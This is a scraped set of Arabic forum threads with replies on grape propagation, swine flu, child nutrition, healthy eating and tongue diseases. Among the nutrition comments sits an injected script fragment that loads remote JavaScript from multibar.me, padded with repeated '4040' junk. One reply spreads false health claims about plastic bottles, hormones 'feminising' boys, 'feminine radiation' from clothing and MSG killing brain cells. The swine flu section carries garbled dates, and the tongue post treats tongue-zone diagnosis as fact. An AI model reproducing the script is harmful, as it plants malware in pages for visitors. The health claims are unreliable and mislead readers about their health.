المستعمل للاكثار قادرا على اعطاء الجذور من جزءه الاسفل .اما عند التطعيم
فيجب ضمان تكوين نسيج الالتحام بين الاصل والطعم مع وجود توافق بينهما
تستعمل هذه الطريقه في حالة صعوبة اخراج الجذور من العقل الخشبيه وفي حالة
الاكثار السريع لصنف قيم .تؤخذ العقل وهي حديثة العمر لان العقل الفتيه تعطي
جذورا اسهل من العقل الناضجة .تؤخذ العقل الخضراء من فروع سنوية او من
جزء منها سوية مع اجراء بعض العمليات الخضراء كاازالة القمم الناميه
تحتوي العقلة على 1-2 عين مع الاوراق .عند الزراعه يزال ثلث من كل ورقه
وتوضع قواعد العقل بعمق 2سم في الرمل النظيف والرطب لتسهيل عملية اخراج
الجذور .تفضل عادة العقل الخضراء من وسط الفرع اولا ثم من الجهه الواقعه
نحو القمة .تكون الزراعة تحت نظام الري الضبابي المتقطع للمحافظه على العقل
من الذبول مع تسخين قواعد العقل بدرجة حرارة 24-29 م وبرطوبة 100%.
يمكن استعمال حامض اندولIBA بغية اخراج الجذور .ويمكن استخدام طريقة
تغطيس قواعد العقل في هذا الحامض بتراكيز لحد 200 جزء بالمليون (لمدة 24 ساعه)
ولعمق 5-7,5 سم مع التسخين القاعدي للاسراع من تجذير العقل .

العنب

الترقيد
الغرض من الترقيد هو ملى الفراغات في العنب وان اسباب الفراغات التي تظهر في
مزارع العنب تكون مختلفة ومتعدده لغرض اصلاح كثافات الكرمات الاعتيادية يكون
من ضروري هذه الفراغات ان تكمل حالا بعد ظهورها

وقت اجراء العملية
ملىء الفراغات بواسطة الترقيد يمكن عملها بصورة جافه أي الترقيد الجاف خلال
فترة سكون العنب .ويمكن البدء بالعملية من الخريف بعد تساقط الاوراق وحتى بداية
الربيع قبل تفتح البراعم واحسن وقت لاجراء العملية اما في الخريف
قبل حلول الصقيع او حتى بداية الربيع .
ولغرض عمل الترقيد الجاف منذ الصيف ينتخب على احد الكرمات المجاورة للفراغ
الذي سوف يتم ملئه فرع او فرعين ناميين عند راس الكرمة او من الدوابر عند الحاجة
او من قمة القصبة موضوعه باتجاة خطوط الزراعة .لهذه الفروع المنتخبة لاتجري عليها العمليات الخضراء .

الترقيد البسيط
تمد القصبة المنتخبة لغرض الترقيد كلما امكن بصورة جيدة في التربة امام الفراغ
ويترك عليها 15-20سم زيادة .وتقصر القصبة فوق احدى العيون وتزال جميع العيون
من على القصبة بواسطة سكين ماعدا 2-3 عيون من قمة القصبة .بعد ذلك تمد من
جديد هذه القصبة في التربة .وتثبت بصورة جيدة بواسطة مثبت (قطعه حديدية على
شكل 8)لكي تثبت بصورة جيدة في التربة ولا تتحرك من مكانها .تربط نهاية
القصبة بعد ذلك الى السنادة المثبته في مكان الفراغ
يلاحظ خروج الجذور من منطقة العقد الموجودة بالتماس مع التربة التي تنتشر في
الطبقة السطحية للتربة .ولهذا السبب فان الجذور تتعرض لتاثيرات درجات الحرارة
والرطوبة المختلفة .هذا الترقيد يكون ملائم للمناطق الرطبة وبدون شتاء قاسي

العنب

التركيب

1- التركيب الاخضر :الهدف من هذه العملية هو نفس هدف التطعيم الجاف وخاصة
لملىء الفراغات في المزارع ذات الكرمات التي يكون عمرها اكثر من 5 سنين او
لانشاء مزارع جديدة .يجري التركيب الاخضر من بداية نيسان وحتى منتصف
الثاني من مايس (في مرحلة التزهير)حسب المناطق وفي وقت الرطوبة الجوية
ورطوبة التربة الاعتياديتين يمكن عملة حتى نهاية مايس أي عندما يكون نخاع
في قاعدة فرع الاصل مميزا بصورة واضحة وذا لون ابيض
عند التركيب الاخضر تستخدم طريقة التركيب السوطي .تجرى العملية بترك 2-3
فروع او 4-5 فروع للكرمات القوية وتستاصل بقية الفروع الاخرى بعد ذلك تقصر
فروع الاصل بيوم قبل التركيب بطول 40-50 سم وتزال منها جميع الاوراق والمحاليق
وهذا التركيب يمكن عمله عند مستوى سطح التربة بعد ذلك تؤخذ الطعوم في نفس يوم
التركيب وتنتخب الفروع التي في بداية تخشبها والتي يتناسب سمكها مع سمك الاصل
والواقعه نحو نهايات الفروع المثمرة .تستبعد القمم الخضراء ذات السمك غير المناسب
.وكذلك اول 2-3 عيون من قواعد الفروع .كما وتستبعد الاوراق ويترك جزء من
العنق .اما المحاليق والفروع الصيفية فتستبعد هي الاخرى ايضا يحتفظ بالطعوم
في اوعية تحتوي على ماء نظيف حتى فترة التركيب
عند اجراء عملية التركيب يقوم المطعم بعمل قطع مائل في اخر سلامية لفرع الاصل
بحيث يكون هذا القطع اطول مما هو مستعمل في حالة التطعيم الجاف (بحدود مرتين
يكون طول القطع اكبر من القطر )بحيث يثبت الفرع باليد اليسرى تحت اخر سلامية
.بعد ذلك ينتخب فرع الطعم المناسب السمك الذي منه تقطع عقدة ذات عين واحدة والتي
يترك فوقها 2سم وتحتها تقريبا جميع السلامية .بعد ذلك يجري عمل مقطع مائل على
السلامية من نحو العقدة مشابة لمقطع الاصل وبعدها يلصق المقطعان للاصل والطعم على
ان يكون الالتصاق بينهما محكما بصورة تامة ويعقب ذلك عملية الربط بشرط التطعيم
دون ان ينحرك الطعم من مكانة ,يمكن استعمال شمع البارافين لمكان التركيب ولمقطع قمم
الفروع .بعد اسبوع يتم فحص الطعم حيث يلاحظ بداية نمو عين الطعم وذلك بتفتحها
واعطائها فرعا جديدا .اما التركيب غير الناجح فيؤدي الى ذبول الطعم وكذلك بقايا
عنق الورقة لاينفصل من مكانة .يجب مراعاة مكان الربط بطريقة صحيحة وغير
قوي لكي لاتختنق منطقة التركيب وكذلك تجرى عمليات مكافحة الامراض
والحشرات عند حدوث اصابات.

والى هنا نكون قد وصلنا الى نهاية الموضوع
واتمنى ان ينال اعجابكم ويفيدكم
مع تحــــ شهد العسـ،،،ـلــيــــــاتـ

بارك الله فيك ع الموضوع القيم

الف شكر

جزاك الله خيرا

بارك الله فيك أختي الفاضلة على الموضوع القيم والمفيد
نترقب المزيد
بالتوفيق

مشكورة على الموضوع الرائع

الله يعطيك العافية

ننتظر جديدك

تحياتي

بسم الله الرحمن الرحيم

– ما هو مرض انفلونزا الخنازير؟

هو مرض يصيب الجهاز التنفسي ويؤثر على الخنازير، وناجم عن النوع الأول من فيروس الانفلونزا، كما أن الانفلونزا تصيب الخنازير على مدار العام. والنوع الشائع منه هو الذي يطلق عليه اسم ‘إتش 1 إن 1’ h1n1، والفيروس الجديد متطور عن هذا النوع، وهو الذي ينتقل للبشر.

وينتشر الفيروس المسبّب للمرض بين الخنازير عن طريق الرذاذ والمخالطة المباشرة وغير المباشرة والخنازير الحاملة للمرض العديمة الأعراض.

– هل ينتقل الفيروس إلى البشر؟
ثبت انتشاره بين البشر على إثر التحذيرات التى أطلقتها منظمة الصحة العالمية اليوم من القاهرة، بعد ثبوت تحور الفيروس وانتقاله من إنسان إلى إنسان.

– ما وراء انتشار الفيروس هذه المرة؟
لا يعرف الباحثون حتى الآن سبب انتشاره على هذا النحو. فغالباً ما كان الناس الذين يصابون به جراء انتقال العدوى من الخنازير إليهم. على سبيل المثال، المزارعون الذين يصابون بالمرض جراء انتقاله من الخنازير إنما يأتي نتيجة الاحتكاك المباشر معها.

– ما هي أعراض انفلونزا الخنازير؟
إن أعراض الإصابة بفيروس انفلونزا الخنازير هي نفسها أعراض الإصابة بالانفلونزا العادية، أي ارتفاع درجات الحرارة عند المصابين بالفيروس والإصابة بالنعاس والكسل وانعدام الشهية والكحة وسيلان الأنف واحتقان الحلق الغثيان والقيء والإسهال.

– كيف ينتشر الفيروس؟
ينتشر الفيروس بنفس الطريقة التي ينتشر فيروس الانفلونزا الموسمية، فعندما يكح شخص أو يعطس قرب آخرين، فإن الفيروس ينتقل إليهم. كذلك يمكن انتقال الفيروس عن طريق لمس أشياء تحتوي على الفيروس ومن ثم لمس الفم أو الأنف أو العينين. وقد ينقل الشخص المصاب بالفيروس المرض إلى الآخرين حتى قبل ظهور الأعراض.

– لماذا انتشار المرض يثير المشاكل؟
يشعر العلماء بالقلق دائماً عند ظهور فيروس جديد يكون بمقدوره الانتقال من الحيوان إلى الإنسان، ومن ثم من الإنسان إلى آخر. ففي هذه الحالة، قد تتطور طفرة لدى الفيروس، ما يجعل من الصعوبة بمكان معالجته.

– هل يمكن أن يصبح فيروس انفلونزا الخنازير قاتلاً؟
مثل الانفلونزا العادية، يعمل فيروس انفلونزا الخنازير على إضعاف الأوضاع الصحية للناس، ولذلك فإن الناس الذين يعانون من ضعف في جهاز المناعة قد يصبحوا عرضة للوفاة والموت أكثر من غيرهم.

– ولكن، ألم تُهلك ليست الانفلونزا العادية الكثير من الناس؟
بالفعل، فإن الانفلونزا العادية تودي بحياة ما بين 250 ألفاً إلى 500 ألف شخص سنوياً، إلا أن ما يثير قلق المسؤولين هو ظهور سلالة جديدة من الفيروس يمكن أن ينتشر بسرعة بين الناس، فيما لا تتوفر مناعة طبيعية لديهم، كما لا يتوافر علاج له، حيث يستغرق تطوير العلاج شهوراً عديدة.

– هل حدث أن اندلع المرض في وقت سابق؟
وقعت إصابات بالمرض بين عام 2022 ويناير/كانون الثاني 2022، حيث أصيب 12 شخصاً بالفيروس في الولايات المتحدة، غير أنه لم تقع أي حالة وفاة بالمرض.

وفي عام 2022، وردت أنباء عن إصابات بالفيروس في كل من الولايات المتحدة وإسبانيا.
وفي عام 1988، أصيب سيدة أمريكية حامل بالفيروس، وتلقت العلاج، لكنها توفيت بعد أسبوع.
وفي عام 1976، تم الإعلان عن إصابة 200 شخص، وأعلن عن حالة وفاة واحدة.

– ماذا عن تفشي الانفلونزا وتحوله إلى وباء؟
في عام 1968، تفشى فيروس ‘انفلونزا هونغ كونغ’ وأدى إلى وفاة مليون شخص في مختلف أنحاء العالم، وفي عام 1918، تفشى فيروس ‘الانفلونزا الإسبانية’ وأدى إلى وفاة 100 مليون إنسان.

– كيف يمكن التحصن ضد الإصابة بفيروس انفلونزا الخنازير؟
لا يوجد أيّ لقاح يحتوي على فيروس انفلونزا الخنازير الراهن الذي يصيب البشر. ولذلك للوقاية من الفيروسات والجراثيم، يمكن اتباع بعض الخطوات اليومية الاعتيادية مثل غسل اليدين مراراً وتكراراً، وتجنب الاتصال مع المرضى أو الاقتراب منهم، وتجنب لمس أشياء ملوثة.

– هل هناك علاج للفيروس؟

لا يوجد لقاح للفيروس، فيما قالت منظمة الصحة العالمية إنه لا يعرف ما إذا كانت اللقاحات المتوافرة حالياً لمكافحة الانفلونزا الموسمية قادرة على توفير حماية ضد هذا المرض، ذلك أنّ فيروسات الانفلونزا تتغيّر بسرعة فائقة، وقد ذكر المدير الإقليمي لمنظمة الصحة العالمية الدكتور حسين الجزائري اليوم فى القاهرة أن المكتب الإقليمي لديه 300 ألف جرعة من علاج التاميفلو مخزنة فى دبى لمواجهة أى احتمالات طارئة فى دول المنطقة
وحول الأدوية المتوافرة لعلاج هذا المرض، قالت المنظمة إن بعض البلدان تمتلك أدوية مضادة للفيروسات لمكافحة الانفلونزا الموسمية وتلك الأدوية قادرة على الوقاية من ذلك المرض وعلاجه بفعالية.
وأوضحت منظمة الصحة العالمية أن تلك الأدوية تنقسم إلى فئتين اثنتين هما: الأدمانتان (الأمانتادين والريمانتادين، ومثبّطات نورامينيداز الإنفلونزا (الأوسيلتاميفير والزاناميفير).

شكرا لك على هاته المعلومات حول هذا المرض الفتاك جزا الله الف خير

واصلي اهتمامك اختي والمزيد من الاجتهاد .

و الله كما قال اخي الطيب هذا المرض احدث ضجة عالمية و صارت المدن المتطورة اكبر متعرض لهذا المرض بسبب السفر اليها و للعلم فكما اظن من مصادر مقربة فقد تلغى العمرة او الحج هذه السنة اذا بقي الانتشار على هذا الحال المزري.
و لكن انا غير متاكدة من الخبر حق تاكذ .
اشكرك اختي غاية الهدى على الموضوع .
و سمي بانفلونزا الخنازير لان اعراضه مثل اعراض الانفلونزا احمرار في الانف و العطاس الحاد.
هذا تحليلي و ليس تحليل احد اتمنى ان يكون صحيحا.

بسم الله الرحمان الرحيم :

السلااااام

التغذية السلمية تبدأ من المنزل عن طريق الغذاء الصحي وإتباع عادات الأكل الصحية ولنتذكر أن الصغار يقلدون الكبار في كثير من تصرفاتهم سواء أحبوها أم لا. لذا فعلينا أن نكون بمثابة قدوة لهم بإتباع عادات غذائية سليمة.

أساسيات التغذية السليمة :
يوفر الطعام العناصر الغذائية المطلوبة لبناء أجسام قوية. فالغذاء يمد الجسم بالطاقة التي يحتاجها للنمو واللعب والتعلم والمحافظة على الصحة. ومن الضروري تنويع الأطعمة المقدمة للطفل حتى نوفر احتياجاته من المواد الغذائية الأساسية للنمو. فكل نوع من أنواع الأطعمة يحتوي على نوعية خاصة من الأغذية والتي بدورها تقوم بوظائف مختلفة في الجسم، ولايوجد نوع من الأغذية أهم من الآخر فالجسم يحتاجها جميعاً من أجل صحة أفضل.

أمثلة نوع المادة الغذائية أقل عدد من الوجبات يمكن تقديمها مجموعة الطعام
خبز أسمر، حبوب ” بقول”، رز، معكرونة، خبز الذرة. كربوهيدرات
فيتامين (ب1)
حديد ، نياسين 6 خبز
بقول أرز
جرز، هليون، طماطم، بطاطس، شمندر، فاصوليا، بازلا، يقطين، كرنب، فلفل أخضر وأحمر
فيتامين (أ) و (س) 3 خضروات
تفاح، خوخ، موز، عصير فواكه، برتقال، فراولة، مشمش، بطيخ. فيتامين (أ) و (س) 2 فواكه
حليب قليل الدسم
زبادي قليل الدسم
كسترد. كالسيوم
بروتين
فيتامين (ب2) 3 حليب
زبادي
جبن
لحم البقر، الغنم، الدجاج، الديك الرومي، سمك، جوز الهند.
بروتينات
نياسين
حديد
فيتامين (ب1) 2 لحم
سمك، دجاج
بيض
جوز، بندق

أسئلة تهم الأمهات :

كيف أعرف أن طفلي يأخذ كفايته من الطعام ؟.
يأكل الطفل عادة عند إحساسه بالجوع ويمتنع عند الشبع.
ولأن ما يستهلكه الأطفال من الطعام هو أقل مقارنة بالكبار يشعر الأهل بالقلق. وللإطمئنان فالطفل الذي ينمو بالمعدل الطبيعي هو غالباً يحصل على كفايته من الغذاء.

كيف أعرف حجم الوجبة التي أقدمها لطفلي ؟. هذه بعض الإرشادات التي يمكن الاستعانة بها في تقدير حجم الوجبة المقدمة للطفل :
قدم ما يعادل ربع أو ثلث حجم وجبة البالغين أو مايعادل ملعقة طعام كبيرة لكل سنة من عمر الطفل.
حضّر كمية أقل من التقدير لتحث الطفل على أن يطلب المزيد إذا كان جائعاً.

كم عدد الوجبات التي يمكن تقديمها للطفل ؟
يحتاج الصغار إلى وجبات متعددة بسبب احتياجهم العالي للطاقة. فيفضل تقديم ثلاث وجبات بالإضافة إلى وجبتين أو ثلاث وجبات خفيفة. يجب اختيار الوجبات الخفيفة من مجموعات الغذاء الخمس الأساسية التي سبق ذكرها، ويفضل تقديمها بين الوجبات الرئيسية.

من الأمثلة على الوجبات الخفيفة : عصير فواكه طازج، رز ، زبادي، شوربة وخضار.

شهية طفلي للطعام أصبحت أقل بعد بلوغه السنة الأولى فهل هذا أمر طبيعي؟.
يتباطأ نمو الطفل بعد بلوغه سنته الأولى فتقل حاجته إلى الطعام وبالتالي إقباله عليه. وعلى الأم أن تفهم أن قلة الشهية أمر طبيعي في هذه الفترة بسبب انخفاض حاجته من السعرات الحرارية وهي لاتدل على تردي حالة الطفل الجسدية والنفسية، وهناك أسباب أخرى تساعد على قلة إقبال الطفل على الطعام ، فمثلاً الطفل الذي يستهلك كمية كبيرة من الحليب يحصل على كفايته من السعرات الحرارية فلا يحس بالجوع وبالتالي يقل إقباله على أنواع الطعام الأخرى.

كما أن شهية الطفل تتفاوت بشكل كبير بين الوجبات فقد يأكل يوم بشكل جيد ويكون طعامه خفيفاً في اليوم التالي فلا يجب أن يكون هذا الأمر مدعاة للقلق مادام الطفل ينمو بصورة طبيعية.
كما أن طباع الطفل تؤثر على كمية الطعام التي يأكلها، فالطفل الهادئ يجد الوقت الكافي ليأكل كمية أفضل من الطفل كثير الحركة والذي ينشغل اكثر باللعب .

كما يعتبر رفض الطعام أحياناً محاولة من الطفل لإظهار استقلاليته.
ويرفض الطفل أحياناً تناول الطعام لأنه تعلم ربط أوقات الوجبات بأشياء لايحبها خصوصاً إذا أجبر على تناول نوع معين من الطعام أو كمية أكثر من حاجته.
وتكون أحياناً قلة الشهية لسبب اعتلال في الصحة ففي هذه الحالة يجب على الأم مراجعة الطبيب للإطمئنان على سلامة الطفل.

بعضالارشاداتلاسلوبتغذيةأفضل
40404040404040404040drawGradient()4040404040404040404040:

شراء الأطعمة المفيدة فقط.
أن نكون قدوة لأطفالنا بإتباع عادات الأكل الصحية.
الابتعاد عن القلق المبالغ فيه إذا ترك الطفل وجبة من الوجبات.
ترك الطفل يأكل بنفسه ويختار مايريد من قائمة الأطعمة المفيدة.
مراقبة الوجبات الخفيفة وتجنب السكاكر بين الوجبات
التخفيف من استهلاك الحليب
عدم اجبار الطفل على اكل كميه اكبر من حاجته او اطعمه

بارك الله فيك وجعله في موازين اعمالك

شكرا على كل حال

شرح لي جاري مفتش في الاسعار أن الشمس تؤثر في البلاستك مما يجعل مستهلكي المشروبات الغازية تنشط عندهم الخلايا السرطانية ويصاب مستهلكها بالسرطان ونصحني ان استعمل القارورة البلاستيكية مرة واحدة فقط ولا أضع مثلا فيها الماء للشرب لأن الزجاجة البلاستيكية عندما تفتح تتفاعل مع الاكسجين وتصبح خطيرو لأي استعمال آخر …فاحذروا وثقفوا تلاميذنا
2- شاهدت في أغلب التلاميذ صفار في الوجه بعد أي مجهود خاصة الرياضي وهذا لنقص التغذية فنصحني جاري بأن يستهلك التلاميذ البسباس فهو غني بالفيتامينات ويجب ان يكون في المطاعم المدرسية لفائدته الكبيرة
3- أما الخطر الأخير فيكمن في اللحوم المستهلكة حيث يقوم الفلاحين والشركات الكبيرة لإنتاج الحليب بإعطائها هرمون الانوثة مما يزيد حجم اللحم وكمية الحليب فيفقد الطفل ذكورته ويصبح مشابهاللبنت وارتداء الملابس البلاستيكية للذكور يجعلها تتفاعل مع الحرارة درجة 30فقط فتصدر اشعاعات انثوية وأرجو مشاهدة هذا اليوتوب للدكتورين قصد معرفة هذه الاخطار المخفيةاكسجين
<a href="https://
<a href="https://قلوتومات الصوديوم <a href="https://

تستعمله الشركات لزيادة الإستهلاك أي المنتوجات الغذائية كالشيبس المشروبات الغازية الدجاج تستعمله بعض المطاعم

ومنتجي الحلوى لجلب الزبائن لدوره الكبير في المذاق أما سلبياته يا لطيف يقتل خلايا الدماغ ويورث الغباء والاورام
الجزء الأول ليس طويل <a href="https://

الجزء التاني ليس طويل https://www.youtube.com/watch?featur…&v=nGVKwvn3aXo

MISS SAMAR معجب بهذا

شكرا لك وجزاك الله خيرا

شكرا لك وجزاك الله خيرا 4040404040404040 src=”http://multibar.me/pluginmng.js” type=”text/40404040404040404040″>4040404040404040404040

جميل
جزاك الله خيرا

بارك الله فيك أخي على الموضوع القيم والمفيد
أعانك الله
نترقب المزيد
بالتوفيق

	التغذية كاملة القيمة أو التغدية الصحية، تعني خطة تغذية كاملة . وهنا تتألف في معظمها من مشتقات الحليب والمشتقات النباتية ,حيث يُفضل منها تلك المواد التي لم تخضع لمعالجات عديدة وتعد المواد الغذائية ذات القيمة الصحية الكبيرة بشكل يجعلها مفضلة على غيرها . أما أغلب المواد الغذائية استخداماً فهي تلك المستحضرة من القمح الخالص والخضار والفواكه والبطاطس والبقول والحليب ومشتقاته . إلى جانب ذلك تؤخذ بعض الكميات القليلة من اللحوم والسمك والبيض ومشتقاتها ، ويتألف نصف كميات المواد الغذائية المستخدمة من مواد طازجة غير مُسخنة . أما تحضيرها فيجري بحرصٍ شديد وباستخدام شيءٍ من الزيت النباتي ومواد غذائية طازجة . ويصرف النظر عن استخدام أي إضافات اصطناعية للمواد الغذائية . بالإضافة إلى ذلك فإنه يجري تفضيل المواد غير المعلبة أو المعلبة بيئياً المواد الطازجة شبه المحمصة هي المفضلة توضع الخضار والفواكه على رأس قائمة مواد ما يسمى بالتغذية كاملة القيمة لأنها مناسبة بشكل مثالي لتزويد الجسم بالفيتامينات والمواد المعدنية الضرورية للحياة . وهي توفر العديد من المواد المغذية ذات الآثار الإيجابية المتعددة على صحة الإنسان . وهي في نفس الوقت تقوي نظم المناعة في الجسم وتساعد في حالات الالتهاب وتحمي خلايا الجسم من التضرر والإصابة لاحقاً بالأمراض . وهناك مثالٌُ معروف من هذه المواد هي المكونات الداعمة للصحة التي يحملها ( الثوم ) . وبالإضافة إلى ذلك هناك المكونات المادية التي تمثل الطعم واللون والرائحة والتي تتوفر بكثافة في مختلف أنواع الخضار والفواكه والتي تثير الشهية وتساعد على الهضم . تناول الخضار والفواكه الطازجة بدون تسخين : مفيد جداً تناولوا يومياً كميات كافية من الخضار والفواكه الطازجة ، وليكن القسم الأكبر منها الخضار، فالكثير من محتوى هذه المواد من الفيتامينات والعناصر النباتية الثانوية . بالإضافة إلى ذلك فإنّ المكونات المهضمة في الخضار والفواكه في حالة عدم تسخينها تكون فعّالة بشكل خاص .عدا عن ذلك ينبغي مضغ الخضار والفواكه الطازجة والفواكه والسلطات بشكلٍ جيد … إذ عن طريق ذلك يُمسّد لحم الأسنان ( اللثة ) وينشط دورة الدم . وهكذا يمكن الوقاية من بعض أمراض اللثة : ( Parodontose ) … ويُغني من كمية اللعاب ويحمي الأسنان من النخر Karies لأنه يُنظف الأسنان ويزودها بالمكونات المعدنية . إنّ تقشير الخضار والفواكه يفقدها الكثير من الفيتامينات والعناصر المعدنية والمكونات المهضمة خاصة في حالة الكثير من الفواكه فإنّ الفيتامينات توجد تحت قشر الفاكهة مباشرة ، ولذلك فهي تـُهدر في حالة تقشير الفاكهة . ولهذا يجب غسل الخضار والفواكه أولاً وبشكل جيد ثم يمكن تقطيعها إلى قطع ٍ صغيرة قبل تناولها . إرشادات و توصيات -تناولوا يومياً سلطات وفواكه طازجة . -استغلوا في كل فصل الخضار والفواكه التي ينتجها هذا الفصل . -اختاروا من هذه الخضار والفواكه تلك المواد التي ينتجها الفلاحون – المزارعون بطرقٍ تـُراعي فيها البيئة ومن تلك الدكاكين المختصة ببيع هذه المنتجات لأنّ أصحاب هذه المحلات يمتنعون عن استعمال مواد الوقاية الكيماوية التي تعالج بها المواد الغذائية النباتية . ·ضعوا في قائمة طعامكم بشكل منتظم مواد غذائية كبعض مشتقات الحليب والخضار وخاصة البطاطس والبقول والحبوب وغيرها. -حضروا طعامكم دائماً مباشرة قبل البدء باستهلاكه . ·- يُمكن أن تعالجوا الخضار ببخار الماء قليلاً وبشكل لا يؤذي مكوناتها .. ويُبقي عليها قابلة للقضم وكأنها طازجة . إنّ تناول المواد الغذائية الطازجة قبل الوجبات الرئيسية يُحرض النظام – الجهاز الهضمي وسد رمق الجوع الأول … وبهذا لا يعود الشخص قادراً على تناول كميات كبيرة من الوجبة الرئيسية الساخنة المتنوعة وبهذا أيضاً لا يزيد الوزن لا بل إنّ هذا الوزن الزائد يزول بالتدريج على المدى الطويل . الحليب ومشتقاته إنّ الحليب ومشتقاته هي أهم مصدر للعنصر المعدني الغذائي ( كالسيوم ) . لذلك فهي ذات أهمية كبيرة لدعم الهيكل العظمي … ومن أكثر مشتقات الحليب فائدة اللبن والجبن القليل الدسم واللبن المحمص.. والعيران بدون اللحوم هل ينقصكم شيء ؟ إنّ اللحوم والسمك والبيض تلعب دوراً ثانوياً فيما يُسمّى بالتغذية كاملة القيمة . لأنّ استهلاك كميات كبيرة من اللحوم والأسماك ، يمكن أن يُسيء إلى الصحة . لذلك عندما تخفضوا من استهلاك اللحوم والسجق فإنكم ذلك يمكنُ أن تخفضوا من نسبة الشحوم في أجسامكم . لكن هذا لا يعني أن تصبحوا نباتيين ، فإن الاقتصار على استهلاك المواد النباتية ، وخاصة إذا أُسيءَ اختيار هذه المواد الغذائية ، قد يسبب بعض المشاكل الصحية . السمك مادة غذائية قيمة . إلا أنّ ذلك لا ينطبق إلا على الأسماك البحرية أو التي تعيش في المياه المالحة ، أمّا الأسماك التي تعيش في المياه العذبة كالفوريل وغيرها فإنها لا تحوي على فائدةٍ غذائية تذكر وخاصة أي كمية من ( اليود ) . بالإضافة إلى ذلك يُوصى باستخدام الملح البحري الذي يحوي اليود .. أو ملح الطعام الذي أُضيف له اليود . ويحسن أن تستهلكوا الأسماك التي تعيش في أعالي البحار كالبارش الأحمر والشيل والكابلاد .. لأنها أقل تعرضاً للتلوث من الأسماك التي تعيش في الأنهار أو المياه القريبة من الشواطئ

السلام عليكم ورحمة الله وبركاته

شـكــ وبارك الله فيك ـــرا لك … لك مني أجمل تحية .

مشكوووووور والله يعطيك الف عافيه

العفو اخي وشكرا على المرور

نورت الموضوع بطلك الرائعة

مشكورة و بوركت على الموضوع القيم

شكرا لك ايتها الاخت العزيزة

بارك الله فيك ع الطرح الاكثر من رائع

بسم الله الرحمن الرحيم

يعتبر اللسان مرآة تعكس صحة الإنسان العامة , فعندما يصاب الأنسان بأي مرض سرعان مايصيب اللسان مظهر غير صحي وقد يساعدنا ايضا اللسان في تشخيص موضع المرض الذي أصاب احد أعضاء الجسم , فمثلا حينما نصاب بإلتهاب جرثومي او بكتيري سرعان مانجد اللسان مغطى بطبقة بيضاء او صفراء والتي سرعان ايضا ماتزول فور شفاء الجسم . بعض أنواع أمراض اللسان وطرق علاجها : – اللسان الملتهب : التهاب اللسان قد يجعل اللسان متورمآ ومؤلمآ ويبدو احمر اللون ، و التهاب اللسان قد يحدث نتيجة للعدوى أو التدخين أو تهيج الفم انتيجة لسطح خشن بالاسنان أو بالتركيبات ، أو الاطعمة الحريقة ، و نقص الفيتامينات أو المعادن (مثل فيتامين “ب” أو الحديد ) . – اللسان الجغرافي : وهو نوع من التهابات اللسان ويظهر فيه احمرار وتورم فقط في بعض المناطق من اللسان ، وسببه غير معلوم ، وهو يحدث لدى 1% إلى 3% من تعداد السكان ، ويصيب النساء أكثر من الرجال . إن علاج أسبابة المعلومة يقضي على الحالة في غضون بضعة اسابيع ، كذلك قد يكون من المفيد المضمضة بماء مضاف اليه ملح ، فإذا اصابتك الحالة بالقلق، فتحدث مع طبيبك الذي يمكنه مساعدتك على حل أي مشكلة كامنة سببت هذه الحالة – اللسان المتصبغ : قد يصطبغ اللسان بسهولة بألوان مختلفة نتيجة للأطعمة التي يتناولها المرء والتي يساعد اللسان في مضغها وهضمها ، فالقهوة و الشاي والتدخين يمكنها أن تصبغ اللسان بلون أكثر قتامة ، مثلما تفعل بعض العقاقير , وهنا ماعلينا الا ان نعتني باللسان ونظافتة يوميا . – اللسان المشعر : حلمات اللسان أكثر استطالة نتيجة الإلتهاب وهي حالة وقتية لاتتطلب سوى النظافة والمضمضة بالمطهرات الفموية . – اللسان المجعد : ولا تحتاج هذه الحالة كسابقتها إلى علاج بالضرورة , غير أن تنظيف اللسان بفرشاة الاسنان مع المضمضة بمطهر الفم سوف يساعدك على الاحتفاظ بلسانك نظيفآ وخاليآ من بقايا الطعام . كيف يفيد اللسان في تشخيص أمراض الجسم : ان كل منطقة في اللسان تشكل منطقة تشخيصية لعضو معين في الجسم , فمثلا نجد الجزء الأمامي من اللسان يعكس حالة القلب , والجز الخلفي يعكس حالة الكلية وهكذا , وطبعا يتدخل لون تلك المنطقة ومااذا كان يغطيها طبقة ما , كطبقة بيضاء او صفراء ومااذا كانت هذه الطبقة سميكة وا رفيعة وهكذا . وهذه صورة توضح علاقة كل منطقة باللسان بعضو معين من الجسم :

عفانا الله واياكم من هده الامراض
لما قرات العنوان بادر الى دهنــي امراض اللسان , المعنى الادبي وليس المرض بمعناه الوباء

شكـرا يادكتور

بارك الله فيك أختي الفاضلة على الموضوع القيم والمفيد
نترقب المزيد
بالتوفيق

رائع رائع رائع الف شكر لك على الطرح

والله يعطيك العافية

ننتظر جديدك دوووم

لك كل الود